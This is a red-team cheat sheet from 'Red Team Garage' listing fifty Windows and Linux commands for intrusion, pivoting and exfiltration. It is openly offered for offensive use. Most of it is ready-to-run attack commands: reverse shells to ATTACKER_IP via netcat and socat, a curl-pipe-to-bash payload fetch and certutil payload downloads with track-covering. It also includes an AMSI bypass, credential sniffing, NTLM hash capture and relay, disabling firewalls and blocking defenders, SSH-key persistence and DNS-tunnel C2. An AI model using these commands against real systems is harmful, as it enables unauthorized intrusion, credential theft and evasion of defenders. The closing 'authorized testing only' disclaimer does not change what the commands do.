



50 NETWORK COMMANDS FOR RED TEAMERS

Essential Windows & Linux Network Commands
for Offensive Operations

Author: Red Team Garage (RTG)

Version: v1.0

License: Free for Community Use

TABLE OF CONTENTS

1. Reconnaissance & Discovery (Cmd 1–10)
2. DNS Operations (Cmd 11–18)
3. Port Scanning & Service Probing (Cmd 19–26)
4. Traffic Capture & Analysis (Cmd 27–32)
5. Tunneling & Pivoting (Cmd 33–40)
6. Lateral Movement & Remote Access (Cmd 41–46)
7. Evasion, Exfiltration & Misc (Cmd 47–50)

1. Reconnaissance & Discovery (Cmd 1–10)

01 — ip a / ifconfig

OS: Linux | **Purpose:** Display all network interfaces, IP addresses, MAC addresses, and interface states. First command to run on any compromised Linux host to understand network positioning.

```
ip a # Modern (iproute2)
ifconfig # Legacy (net-tools)
ip -4 addr show # IPv4 only
ip link show # Interface status only
```

02 — ipconfig

OS: Windows | **Purpose:** Display Windows network configuration. The /all flag reveals DNS servers, DHCP servers, domain suffix — critical for AD environment mapping.

```
ipconfig # Basic IP info
ipconfig /all # Full config (DNS, DHCP, MAC, domain)
ipconfig /displaydns # Cached DNS entries (reveals visited sites)
ipconfig /flushdns # Flush DNS cache
```

03 — arp -a / ip neigh

OS: Both | **Purpose:** Display the ARP cache — shows IP-to-MAC mappings of recently contacted hosts on the local network. Instantly reveals nearby live hosts without sending a single scan packet.

```
arp -a # Windows & Linux
ip neigh # Linux (modern)
arp -a -n # Numeric output, no DNS resolution
```

04 — netstat -ano / ss -tlnp

OS: Both | **Purpose:** Show active network connections, listening ports, and associated PIDs. Reveals running services, C2 connections, and what's exposed.

```
# Windows
netstat -ano # All connections with PIDs
netstat -ano | findstr LISTENING # Listening ports only
netstat -ano | findstr ESTABLISHED # Active connections

# Linux
ss -tlnp # TCP listeners with process info
ss -ulnp # UDP listeners
ss -antp # All TCP connections
netstat -antup # Legacy alternative
```

05 — route print / ip route

OS: Both | **Purpose:** Display the routing table. Reveals network segments, default gateways, and potential pivot paths to other subnets.

```
# Windows
route print # Full routing table
route print | findstr "0.0.0.0" # Default gateway
```

```
# Linux
ip route # Modern
route -n # Legacy (numeric, no DNS)
ip route show table all # All routing tables
```

06 — traceroute / tracert

OS: Both | **Purpose:** Map the network path to a target. Reveals intermediate routers, firewalls, and network segmentation boundaries.

```
# Windows
tracert 10.10.10.5
tracert -d 10.10.10.5 # No DNS resolution (faster)

# Linux
traceroute 10.10.10.5
traceroute -n 10.10.10.5 # Numeric only
traceroute -T -p 443 10.10.10.5 # TCP traceroute on port 443
traceroute -I 10.10.10.5 # ICMP mode
```

PRO TIP: Use TCP traceroute (-T) to trace through firewalls that block ICMP/UDP. Port 443 or 80 usually gets through.

07 — ping / ping -c

OS: Both | **Purpose:** Basic host discovery via ICMP echo. Simple but effective for checking if a host is alive. Can also be used for covert data exfiltration via ICMP tunneling.

```
# Windows
ping 10.10.10.5 # 4 pings by default
ping -n 1 10.10.10.5 # Single ping
ping -t 10.10.10.5 # Continuous ping

# Linux
ping -c 1 10.10.10.5 # Single ping
ping -c 4 -W 1 10.10.10.5 # 4 pings, 1s timeout

# Ping sweep (Linux one-liner)
for i in $(seq 1 254); do ping -c 1 -W 1 192.168.1.$i &>/dev/null && echo "192.168.1.$i UP" & done; wait
```

08 — arp-scan -l

OS: Linux | **Purpose:** Discover all live hosts on the local network via ARP requests. Fastest and most reliable method for local network host discovery — works even when ICMP is blocked.

```
arp-scan -l # Scan local subnet
arp-scan -l -I eth0 # Specify interface
arp-scan 192.168.1.0/24 # Scan specific range
arp-scan -l --retry 3 # Retry for reliability
```

09 — netdiscover

OS: Linux | **Purpose:** ARP-based network discovery with passive and active modes. Passive mode silently listens for ARP traffic — completely stealthy.

```
netdiscover -r 192.168.1.0/24 # Active scan of range
netdiscover -i eth0 # Active scan on interface
netdiscover -p # Passive mode (sniff only – ZERO traffic)
```

10 — net view / net share

OS: Windows | **Purpose:** Enumerate network shares and domain computers. Quick way to discover accessible file shares and map the Windows network.

```
net view # List domain computers
net view /domain # List domains
net view \\TARGET # List shares on target
net share # List local shares
net use \\TARGET\C$ /user:admin password # Map admin share
```

2. DNS Operations (Cmd 11–18)

11 — nslookup

OS: Both | **Purpose:** Query DNS servers for various record types. Available on both platforms making it a universal recon tool.

```
nslookup target.com # Basic A record lookup
nslookup -type=MX target.com # Mail server records
nslookup -type=NS target.com # Nameserver records
nslookup -type=TXT target.com # SPF/DKIM/DMARC records
nslookup -type=ANY target.com 8.8.8.8 # All records via Google DNS

# Interactive mode
nslookup
> server 10.10.10.5
> set type=any
> target.com
```

12 — dig

OS: Linux | **Purpose:** The most powerful DNS query tool. Provides detailed output including TTLs, authority sections, and raw DNS responses.

```
dig target.com # Default A record
dig target.com ANY # All records
dig target.com MX +short # MX records (short output)
dig target.com TXT # TXT records (SPF/DKIM)
dig @8.8.8.8 target.com # Query specific DNS server
dig @ns1.target.com target.com AXFR # Zone transfer attempt!
dig -x 10.10.10.5 # Reverse DNS lookup
dig +trace target.com # Full delegation trace
```

WARNING: Always attempt zone transfers (AXFR) against every nameserver. They're still misconfigured more often than you'd expect and reveal the entire DNS zone.

13 — host

OS: Linux | **Purpose:** Quick, concise DNS lookups. Simpler output than dig, perfect for scripting and quick checks.

```
host target.com # Basic lookup
host -a target.com # All records
host -t MX target.com # MX records
host -l target.com ns1.target.com # Zone transfer attempt

# Reverse DNS sweep
for ip in $(seq 1 254); do host 10.10.10.$ip | grep "name pointer"; done
```

14 — dnsrecon

OS: Linux | **Purpose:** Comprehensive DNS enumeration tool. Performs standard enum, zone transfers, brute-forcing, cache snooping, and reverse lookups in one tool.

```
dnsrecon -d target.com -t std # Standard enumeration
dnsrecon -d target.com -t axfr # Zone transfer
dnsrecon -d target.com -t brt -D
/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
dnsrecon -d target.com -t rvl -r 10.10.10.0/24 # Reverse lookup range
```

15 — fierce

OS: Linux | **Purpose:** DNS reconnaissance and subdomain brute-force tool. Automatically tries zone transfers then falls back to brute-forcing.

```
fierce --domain target.com
fierce --domain target.com --dns-servers 10.10.10.5
fierce --domain target.com --subdomains /path/to/wordlist.txt
```

16 — subfinder

OS: Linux | **Purpose:** Passive subdomain discovery using multiple online sources (CT logs, search engines, APIs). Fast, reliable, and leaves no trace on the target.

```
subfinder -d target.com -all -o subs.txt # All sources
subfinder -d target.com -silent # Clean output only
subfinder -dL domains.txt -o all_subs.txt # Multiple domains
cat subs.txt | httpx -silent -status-code # Resolve live hosts
```

17 — dnsx

OS: Linux | **Purpose:** Fast DNS toolkit for bulk resolution, wildcard filtering, and multi-record queries. Perfect for processing large subdomain lists.

```
cat subs.txt | dnsx -silent -a -resp # Resolve A records
cat subs.txt | dnsx -silent -cname -resp # Find CNAMEs (takeover?)
cat subs.txt | dnsx -silent -mx -resp # MX records
echo target.com | dnsx -recon # Full DNS recon
```

18 — Resolve-DnsName (PowerShell)

OS: Windows | **Purpose:** PowerShell-native DNS resolution. Useful when nslookup is monitored or blocked by EDR, as PowerShell cmdlets may be less scrutinized.

```
Resolve-DnsName target.com
Resolve-DnsName target.com -Type MX
Resolve-DnsName target.com -Type TXT
Resolve-DnsName target.com -Type NS -Server 8.8.8.8
Resolve-DnsName -Name 10.10.10.5 -Type PTR # Reverse lookup
```

3. Port Scanning & Service Probing (Cmd 19–26)

19 — nmap (TCP SYN Scan)

OS: Both | **Purpose:** The industry-standard port scanner. SYN scan (default with root) is fast and relatively stealthy — it never completes the TCP handshake.

```
nmap -sS 10.10.10.5 # SYN scan (default)
nmap -sS -p- --min-rate 5000 10.10.10.5 -oA full # All 65535 ports fast
nmap -sC -sV -p 22,80,443,445 10.10.10.5 -oA detailed # Script + version scan
nmap -sS -T2 --scan-delay 5s 10.10.10.5 # Slow evasive scan
```

20 — nmap (UDP Scan)

OS: Both | **Purpose:** Scan UDP ports. Often overlooked but critical — services like DNS (53), SNMP (161), TFTP (69), and NTP (123) run on UDP and are frequently misconfigured.

```
nmap -sU --top-ports 100 10.10.10.5 # Top 100 UDP ports
nmap -sU -p 53,69,123,161,500 10.10.10.5 # Specific UDP ports
nmap -sS -sU --top-ports 1000 10.10.10.5 # Combined TCP+UDP
```

PRO TIP: UDP scans are slow because open ports don't respond. Always run a UDP scan alongside TCP — SNMP with default community strings is found far too often.

21 — nmap (NSE Vulnerability Scripts)

OS: Both | **Purpose:** Nmap Scripting Engine vulnerability detection. Run targeted vuln checks against discovered services.

```
nmap --script vuln 10.10.10.5 # All vuln scripts
nmap --script smb-vuln* -p 445 10.10.10.5 # SMB vulnerabilities
nmap --script ssl-heartbleed -p 443 10.10.10.5 # Heartbleed check
nmap --script http-shellshock -p 80 10.10.10.5 # Shellshock check
nmap --script ftp-anon -p 21 10.10.10.5 # Anonymous FTP
```

22 — masscan

OS: Linux | **Purpose:** Extremely fast port scanner capable of scanning the entire internet. Best for rapid large-scale reconnaissance of big IP ranges.

```
masscan 10.10.10.0/24 -p 1-65535 --rate 10000 # Full scan of /24
masscan 10.0.0.0/8 -p 445,3389,22 --rate 50000 # Specific ports on /8
masscan 10.10.10.0/24 -p 80,443 -oG results.gnmap # Grepable output

# Workflow: masscan for speed -> nmap for detail
masscan 10.10.10.0/24 -p 1-65535 --rate 10000 -oL ports.txt
# Then targeted nmap on discovered ports
```

23 — Test-NetConnection (PowerShell)

OS: Windows | **Purpose:** Windows-native port checking without installing tools. Works on locked-down systems where nmap can't be uploaded.

```
Test-NetConnection 10.10.10.5 -Port 445 # Check single port
Test-NetConnection 10.10.10.5 -Port 3389 -InformationLevel Detailed

# Quick port scan loop (no tools needed!)
1..1024 | % { $t = New-Object Net.Sockets.TcpClient; try { $t.Connect("10.10.10.5", $_);
"[+] Port $_ open" } catch {} finally { $t.Close() } }

# Common ports check
@(21,22,80,135,139,443,445,3306,3389,5985) | % { Test-NetConnection 10.10.10.5 -Port $_
-WarningAction SilentlyContinue | Select ComputerName,RemotePort,TcpTestSucceeded }
```

24 — /dev/tcp (Bash Built-in)

OS: Linux | **Purpose:** Native bash port scanning without any installed tools. Works on minimal systems where nmap/netcat are absent. Uses the bash pseudo-device /dev/tcp.

```
# Single port check
echo > /dev/tcp/10.10.10.5/80 2>/dev/null && echo "Port 80 OPEN" || echo "Port 80 CLOSED"

# Quick port scanner (no tools required!)
for port in 21 22 25 53 80 110 139 443 445 3306 3389 8080; do
(echo > /dev/tcp/10.10.10.5/$port) 2>/dev/null && echo "[+] Port $port open"
done
```

25 — nc / ncat (Netcat)

OS: Both | **Purpose:** The 'Swiss Army Knife' of networking. Port scanning, banner grabbing, file transfer, listeners, reverse shells — netcat does it all.

```
# Port scan
nc -zv 10.10.10.5 1-1000 2>&1 | grep "open"

# Banner grabbing
nc -nv 10.10.10.5 22 # SSH banner
echo "HEAD / HTTP/1.0\r\n\r\n" | nc 10.10.10.5 80 # HTTP banner

# Listener (for reverse shells)
nc -lvp 4444

# File transfer
nc -lvp 9999 > received.txt # Receiver
nc 10.10.10.5 9999 < secret.txt # Sender

# Reverse shell
nc -e /bin/sh ATTACKER_IP 4444 # If -e supported
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER 4444 >/tmp/f
```

26 — curl / wget

OS: Both | **Purpose:** HTTP interaction, banner grabbing, file download, and web service probing. curl is particularly versatile for API testing and header manipulation.

```
# Banner grabbing / header inspection
curl -I https://target.com # Response headers only
curl -v https://target.com 2>&1 | head -30 # Verbose connection info
curl -s -o /dev/null -w "%{http_code}" http://target.com # Status code only

# Download files
curl -O http://attacker/linpeas.sh # Download file
wget http://attacker/linpeas.sh # Alternative download
curl http://attacker/payload.sh | bash # Download and execute

# POST data / API testing
curl -X POST http://target.com/api -d '{"user":"admin"}' -H "Content-Type: application/json"

# Follow redirects
curl -L http://target.com

# Use a proxy (Burp)
curl -x http://127.0.0.1:8080 http://target.com
```

4. Traffic Capture & Analysis (Cmd 27–32)

27 — tcpdump

OS: Linux | **Purpose:** Command-line packet capture and analysis. Essential for sniffing network traffic on compromised hosts, capturing credentials, and debugging exploits.

```
tcpdump -i eth0 -w capture.pcap # Capture all traffic
tcpdump -i eth0 host 10.10.10.5 # Filter by host
tcpdump -i eth0 port 80 -A # HTTP traffic (ASCII)
tcpdump -i eth0 port 53 -vvv # DNS queries (verbose)
tcpdump -i eth0 'tcp port 21' -A # FTP creds (plaintext!)
tcpdump -i eth0 -s0 -w full.pcap # Full packet capture
tcpdump -r capture.pcap # Read pcap file
tcpdump -i eth0 'not port 22' # Exclude SSH traffic
```

PRO TIP: Run tcpdump in the background on compromised hosts to passively capture plaintext credentials (FTP, HTTP Basic Auth, SMTP, LDAP simple bind).

28 — tshark

OS: Linux | **Purpose:** Wireshark's CLI version. Powerful display filters, protocol dissection, and field extraction from the command line.

```
tshark -i eth0 # Live capture
tshark -i eth0 -Y "http.request.method==POST" # POST requests only
tshark -i eth0 -Y "dns" -T fields -e dns.qry.name # DNS query names
tshark -r capture.pcap -Y "http.authbasic" # HTTP basic auth creds
tshark -i eth0 -Y "ftp.request.command==PASS" -T fields -e ftp.request.arg # FTP passwords
tshark -r capture.pcap -z io,stat,60 # Traffic stats per minute
```

29 — Wireshark Display Filters (Reference)

OS: Both | **Purpose:** Key Wireshark/tshark display filters for red team traffic analysis. Use these to quickly find credentials, interesting traffic, and attack artifacts.

```
# Credential hunting
http.authbasic # HTTP Basic Auth
ftp.request.command == "PASS" # FTP passwords
smtp.req.parameter contains "@" # SMTP auth
ldap.bindRequest # LDAP binds

# Protocol analysis
kerberos.CNameString # Kerberos usernames
ntlmssp.auth.username # NTLM usernames
smb2 # SMB2 traffic
tcp.flags.syn==1 && tcp.flags.ack==0 # SYN scans detected

# Network mapping
http.host # HTTP hosts visited
dns.qry.name # DNS queries made
```

30 — netsh trace (Windows)

OS: Windows | **Purpose:** Windows built-in packet capture — no Wireshark installation needed. Outputs ETL format that can be converted to pcap for analysis.

```
# Start capture
netsh trace start capture=yes tracefile=C:\temp\capture.etl maxsize=500

# Stop capture
netsh trace stop

# Convert ETL to pcap (use etl2pcapng or Microsoft Message Analyzer)
# Or use pktmon on newer Windows:
pktmon start -c --file-name C:\temp\capture.pcapng
pktmon stop
```

31 — responder

OS: Linux | **Purpose:** Poison LLMNR/NBT-NS/MDNS responses to capture NTLMv2 hashes on the local network. One of the most effective passive credential harvesting tools for Windows networks.

```
# Basic hash capture (passive poisoning)
responder -I eth0 -wv

# Analysis mode only (no poisoning – just listen)
responder -I eth0 -A

# Captured hashes are stored in:
# /usr/share/responder/logs/

# Crack captured NTLMv2 hashes:
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt
```

WARNING: Responder is extremely effective but noisy on defended networks. Use analysis mode (-A) first to understand the environment before actively poisoning.

32 — mitm6

OS: Linux | **Purpose:** IPv6-based MitM attack. Exploits Windows' preference for IPv6 to become the default DNS server, then relays authentication to capture hashes or perform NTLM relay.

```
# Run mitm6 with ntlmrelayx for credential relay
mitm6 -d domain.com -i eth0

# In parallel, relay captured auth:
impacket-ntlmrelayx -6 -t ldaps://DC_IP -wh wpad.domain.com -l loot
```

5. Tunneling & Pivoting (Cmd 33–40)

33 — ssh -L (Local Port Forward)

OS: Both | **Purpose:** Forward a local port through an SSH tunnel to reach a remote service. Access internal services through a compromised host with SSH access.

```
# Access internal web server (10.10.20.5:80) through pivot host
ssh -L 8080:10.10.20.5:80 user@pivot-host
# Now browse: http://127.0.0.1:8080

# Access internal RDP through pivot
ssh -L 3389:10.10.20.5:3389 user@pivot-host
# Now RDP to: 127.0.0.1:3389

# Multiple forwards in one command
ssh -L 8080:10.10.20.5:80 -L 445:10.10.20.5:445 user@pivot-host
```

34 — ssh -R (Remote Port Forward)

OS: Both | **Purpose:** Expose a local service through a remote SSH server. Useful for getting callbacks from targets that can't reach your machine directly.

```
# Make your local listener accessible on the pivot host
ssh -R 4444:127.0.0.1:4444 user@pivot-host
# Reverse shells to pivot-host:4444 will reach your local listener

# Expose attacker web server for file transfer
ssh -R 8080:127.0.0.1:8080 user@pivot-host
```

35 — ssh -D (Dynamic SOCKS Proxy)

OS: Both | **Purpose:** Create a SOCKS proxy through SSH. Route ANY traffic through the pivot host — like a full VPN into the internal network.

```
# Create SOCKS5 proxy on port 1080
ssh -D 1080 user@pivot-host
ssh -N -f -D 1080 user@pivot-host # Background, no shell

# Configure proxychains (/etc/proxychains4.conf):
# socks5 127.0.0.1 1080

# Route tools through the tunnel
proxychains nmap -sT -Pn 10.10.20.0/24
proxychains crackmapexec smb 10.10.20.0/24
proxychains firefox # Browse internal sites
```

PRO TIP: SSH dynamic proxy + proxychains is the fastest way to get a full network pivot. Add 'quiet_mode' to proxychains.conf to suppress noise.

36 — chisel

OS: Both | **Purpose:** Fast TCP/UDP tunneling tool. Single binary, works on both platforms. Ideal when SSH isn't available on the compromised host.

```
# Reverse SOCKS proxy (most common red team use)
# Attacker (server):
chisel server --reverse --port 8888

# Compromised host (client):
chisel client ATTACKER_IP:8888 R:socks
# Creates SOCKS5 proxy on attacker at 127.0.0.1:1080

# Port forward
chisel client ATTACKER_IP:8888 R:8080:10.10.20.5:80
```

37 — ligolo-ng

OS: Both | **Purpose:** Modern, fast tunneling framework. Creates a virtual network interface on the attacker machine — no proxychains needed. The current gold standard for red team pivoting.

```
# Attacker (proxy):
ligolo-proxy -selfcert -laddr 0.0.0.0:11601

# Compromised host (agent):
ligolo-agent -connect ATTACKER_IP:11601 -ignore-cert

# In proxy console:
>> session # Select session
>> ifconfig # See target networks
>> start # Start tunnel

# On attacker, add route:
sudo ip route add 10.10.20.0/24 dev ligolo
```

38 — socat

OS: Linux | **Purpose:** Multipurpose relay tool — like netcat on steroids. Supports encryption, port forwarding, and can create encrypted reverse shells.

```
# Port forward (relay traffic)
socat TCP-LISTEN:8080,fork TCP:10.10.20.5:80

# Encrypted reverse shell
# Attacker:
socat -d file:`tty`,raw,echo=0 openssl-listen:4444,cert=server.pem,verify=0,fork
# Target:
socat openssl-connect:ATTACKER:4444,verify=0 exec:/bin/sh,pty,stderr,setsid

# UDP relay
socat UDP-LISTEN:53,fork UDP:10.10.20.5:53
```

39 — netsh portproxy (Windows)

OS: Windows | **Purpose:** Windows built-in port forwarding. No tools needed — perfect for pivoting through Windows hosts when you can't upload binaries.

```
# Forward local port to remote host
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80
connectaddress=10.10.20.5

# List port forwards
netsh interface portproxy show all

# Remove port forward
netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0

# Don't forget to open firewall:
netsh advfirewall firewall add rule name="pivot" dir=in action=allow protocol=tcp
localport=8080
```

40 — proxychains

OS: Linux | **Purpose:** Route any application's traffic through SOCKS/HTTP proxy chains. The glue that makes SSH tunnels and chisel proxies work with standard tools.

```
# Configure /etc/proxychains4.conf:
# strict_chain
# proxy_dns
# [ProxyList]
# socks5 127.0.0.1 1080

# Usage:
proxychains nmap -sT -Pn -p 445 10.10.20.0/24
proxychains evil-winrm -i 10.10.20.5 -u admin -p pass
proxychains crackmapexec smb 10.10.20.0/24 -u admin -H HASH
proxychains xfreerdp /v:10.10.20.5 /u:admin /p:pass
```

6. Lateral Movement & Remote Access (Cmd 41–46)

41 — evil-winrm

OS: Linux | **Purpose:** WinRM shell with full PowerShell access, file upload/download, and DLL loading. The preferred tool for interactive Windows access during red team operations.

```
evil-winrm -i 10.10.10.5 -u admin -p 'Password1' # Password auth
evil-winrm -i 10.10.10.5 -u admin -H NTLM_HASH # Pass-the-Hash
evil-winrm -i 10.10.10.5 -u admin -p pass -s /scripts/ # Load PowerShell scripts

# In-session commands:
upload /local/payload.exe C:\temp\payload.exe
download C:\Users\admin\Desktop\flag.txt
Bypass-4MSI # AMSI bypass
```

42 — impacket-psexec / smbexec / wmiexec

OS: Linux | **Purpose:** Impacket suite for remote command execution over SMB/WMI. Different tools leave different forensic artifacts — choose based on OPSEC requirements.

```
# PsExec — creates a service (noisy, reliable)
impacket-psexec domain.com/admin:password@10.10.10.5
impacket-psexec domain.com/admin@10.10.10.5 -hashes :NTLM_HASH

# WMIExec — no service creation (stealthier)
impacket-wmiexec domain.com/admin:password@10.10.10.5

# SMBExec — no binary upload (stealthier still)
impacket-smbexec domain.com/admin:password@10.10.10.5

# DCOMExec — COM object abuse (stealthiest)
impacket-dcomexec domain.com/admin:password@10.10.10.5
```

43 — crackmapexec / nxc

OS: Linux | **Purpose:** The Swiss Army knife for network pentesting. Spray credentials, execute commands, enumerate shares/users across entire subnets in seconds.

```
# Host discovery & SMB signing check
crackmapexec smb 10.10.10.0/24

# Credential testing
crackmapexec smb 10.10.10.5 -u admin -p 'Password1'
crackmapexec smb 10.10.10.5 -u admin -H NTLM_HASH

# Password spraying (check lockout policy first!)
crackmapexec smb 10.10.10.5 -u users.txt -p 'Summer2024!' --continue-on-success

# Command execution
crackmapexec smb 10.10.10.5 -u admin -p pass -x "whoami" # cmd
crackmapexec smb 10.10.10.5 -u admin -p pass -X "Get-Process" # PowerShell

# Enumeration
crackmapexec smb 10.10.10.5 -u admin -p pass --shares
crackmapexec smb 10.10.10.5 -u admin -p pass --users
crackmapexec smb 10.10.10.5 -u admin -p pass --pass-pol
crackmapexec smb 10.10.10.5 -u admin -p pass -M lsassy # Dump lsass
```

44 — xfreerdp

OS: Linux | **Purpose:** Linux RDP client. Supports NLA, pass-the-hash, restricted admin mode, drive mounting, and clipboard sharing.

```
xfreerdp /v:10.10.10.5 /u:admin /p:'Password1' /d:domain.com
xfreerdp /v:10.10.10.5 /u:admin /pth:NTLM_HASH # Pass-the-Hash
xfreerdp /v:10.10.10.5 /u:admin /p:pass /drive:share,/tmp # Mount local dir
xfreerdp /v:10.10.10.5 /u:admin /p:pass /cert:ignore /dynamic-resolution
```

45 — smbclient

OS: Linux | **Purpose:** Interactive SMB client for browsing and transferring files on Windows shares. Essential for data discovery and exfiltration.

```
smbclient -L //10.10.10.5 -N # List shares (null session)
smbclient //10.10.10.5/ShareName -U admin%password # Connect to share
smbclient //10.10.10.5/C$ -U admin%password # Admin share

# In-session:
ls # List files
get secret.txt # Download file
put payload.exe # Upload file
mget *.docx # Download multiple files
recurse ON; prompt OFF; mget * # Download everything
```

46 — ssh (Remote Command Execution)

OS: Both | **Purpose:** Beyond interactive shells — SSH for direct command execution, key-based persistence, and proxy jumping across multiple hosts.

```
# Direct command execution (no interactive shell)
ssh user@target 'cat /etc/shadow'
ssh user@target 'tar czf - /etc/' > etc_backup.tar.gz

# Key-based access (persistence)
ssh-keygen -t ed25519 -f rtg_key -N ""
ssh-copy-id -i rtg_key.pub user@target

# ProxyJump (multi-hop)
ssh -J user@pivot user@internal-host

# SSH config for automated pivoting (~/.ssh/config)
# Host internal
# HostName 192.168.1.100
# User root
# ProxyJump user@pivot-host
```

7. Evasion, Exfiltration & Misc (Cmd 47–50)

47 — iptables / nftables (Traffic Manipulation)

OS: Linux | **Purpose:** Manipulate firewall rules on compromised hosts. Redirect traffic, open ports for C2, or block defender access.

```
# Open port for reverse shell callback
iptables -I INPUT -p tcp --dport 4444 -j ACCEPT

# Redirect incoming traffic (port redirection)
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080

# Block an IP (kick defender off)
iptables -I INPUT -s DEFENDER_IP -j DROP

# Enable IP forwarding (for MitM/pivoting)
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# List rules
iptables -L -n -v
iptables -t nat -L -n -v
```

48 — netsh advfirewall (Windows Firewall)

OS: Windows | **Purpose:** Manipulate Windows Firewall rules. Open ports for callbacks, disable firewall profiles, or create exceptions for your tools.

```
# Check firewall status
netsh advfirewall show allprofiles state

# Disable firewall (loud but effective)
netsh advfirewall set allprofiles state off

# Add exception for reverse shell port
netsh advfirewall firewall add rule name="RTG" dir=in action=allow protocol=tcp
localport=4444

# Allow specific program
netsh advfirewall firewall add rule name="svc" dir=in action=allow
program="C:\temp\shell.exe"

# Remove rule
netsh advfirewall firewall delete rule name="RTG"

# Show all rules
netsh advfirewall firewall show rule name=all
```

49 — certutil (Windows File Transfer)

OS: Windows | **Purpose:** Windows built-in file download utility. Often not blocked by application whitelisting because it's a legitimate Microsoft binary (LOLBin).

```
# Download file
certutil -urlcache -split -f http://ATTACKER/payload.exe C:\temp\payload.exe
```

```
# Base64 encode (for data exfiltration)
certutil -encode sensitive_data.zip encoded.txt

# Base64 decode (for payload delivery)
certutil -decode encoded.txt payload.exe

# Cleanup URL cache (cover tracks)
certutil -urlcache -split -f http://ATTACKER/payload.exe delete
```

50 — iodine / dnscat2 (DNS Tunneling)

OS: Linux | **Purpose:** Tunnel full TCP/IP traffic through DNS queries. DNS is almost never blocked outbound — making it the ultimate covert channel for C2 and data exfiltration.

```
# === iodine (IP-over-DNS) ===
# Server (attacker):
iodined -f -c -P secretpass 10.0.0.1 tunnel.attacker.com
# Client (target):
iodine -f -P secretpass tunnel.attacker.com
# Now use 10.0.0.x tunnel for SSH, RDP, etc.

# === dnscat2 (C2-over-DNS) ===
# Server:
ruby dnscat2.rb tunnel.attacker.com
# Client:
./dnscat --dns=server=tunnel.attacker.com
# In dnscat2 console:
session -i 1
shell
```

WARNING: DNS tunneling generates high query volumes. Defenders monitor for unusual TXT/NULL query patterns and high-frequency DNS requests. Use jitter and domain rotation for OPSEC.

Quick Reference — All 50 Commands

#	Command	OS	Use Case
01	ip a / ifconfig	Linux	Network interface enumeration
02	ipconfig /all	Win	Windows network config + DNS/DHCP
03	arp -a / ip neigh	Both	ARP cache — nearby hosts
04	netstat -ano / ss -tlnp	Both	Active connections + listeners
05	route print / ip route	Both	Routing table — pivot paths
06	tracert / traceroute	Both	Network path mapping
07	ping / ping -c	Both	Host discovery (ICMP)
08	arp-scan -l	Linux	ARP-based LAN discovery
09	netdiscover	Linux	Passive/active ARP recon
10	net view / net share	Win	Windows share enumeration
11	nslookup	Both	DNS record queries
12	dig	Linux	Advanced DNS queries + AXFR
13	host	Linux	Quick DNS lookups + zone xfer
14	dnsrecon	Linux	Comprehensive DNS enum
15	fierce	Linux	DNS recon + subdomain brute
16	subfinder	Linux	Passive subdomain discovery
17	dnsx	Linux	Bulk DNS resolution
18	Resolve-DnsName	Win	PowerShell DNS queries
19	nmap -sS	Both	TCP SYN port scan
20	nmap -sU	Both	UDP port scan
21	nmap --script vuln	Both	NSE vulnerability scan
22	masscan	Linux	Ultra-fast port scanning
23	Test-NetConnection	Win	Native port checking
24	/dev/tcp (bash)	Linux	No-tools port scan
25	nc / ncat	Both	Port scan, shells, transfer

#	Command	OS	Use Case
26	curl / wget	Both	HTTP probing + file download
27	tcpdump	Linux	Packet capture + analysis
28	tshark	Linux	CLI Wireshark (protocol dissect)
29	Wireshark filters	Both	Traffic analysis reference
30	netsh trace / pktmon	Win	Native Windows capture
31	responder	Linux	LLMNR/NBT-NS hash capture
32	mitm6	Linux	IPv6 MitM + NTLM relay
33	ssh -L	Both	Local port forward
34	ssh -R	Both	Remote port forward
35	ssh -D	Both	Dynamic SOCKS proxy
36	chisel	Both	TCP tunnel (no SSH needed)
37	ligolo-ng	Both	Modern network tunneling
38	socat	Linux	Relay + encrypted shells
39	netsh portproxy	Win	Native Windows port fwd
40	proxychains	Linux	Route tools through proxy
41	evil-winrm	Linux	WinRM shell + file ops
42	impacket-*exec	Linux	SMB/WMI remote exec
43	crackmapexec	Linux	Network-wide spray + exec
44	xfreerdp	Linux	RDP client + Pth
45	smbclient	Linux	SMB file access
46	ssh (cmd exec)	Both	Remote execution + pivot
47	iptables	Linux	Firewall manipulation
48	netsh advfirewall	Win	Windows firewall control
49	certutil	Win	LOLBin file transfer
50	iodine / dnscat2	Linux	DNS tunneling C2

Stay Connected: Join the Red Team Garage community for more guides, challenges, and discussions. This guide is free for community distribution — share it freely!



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Real-world offensive security training - practical, no fluff, and built for serious learners.
Build the most comprehensive red team technique library available anywhere.
Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.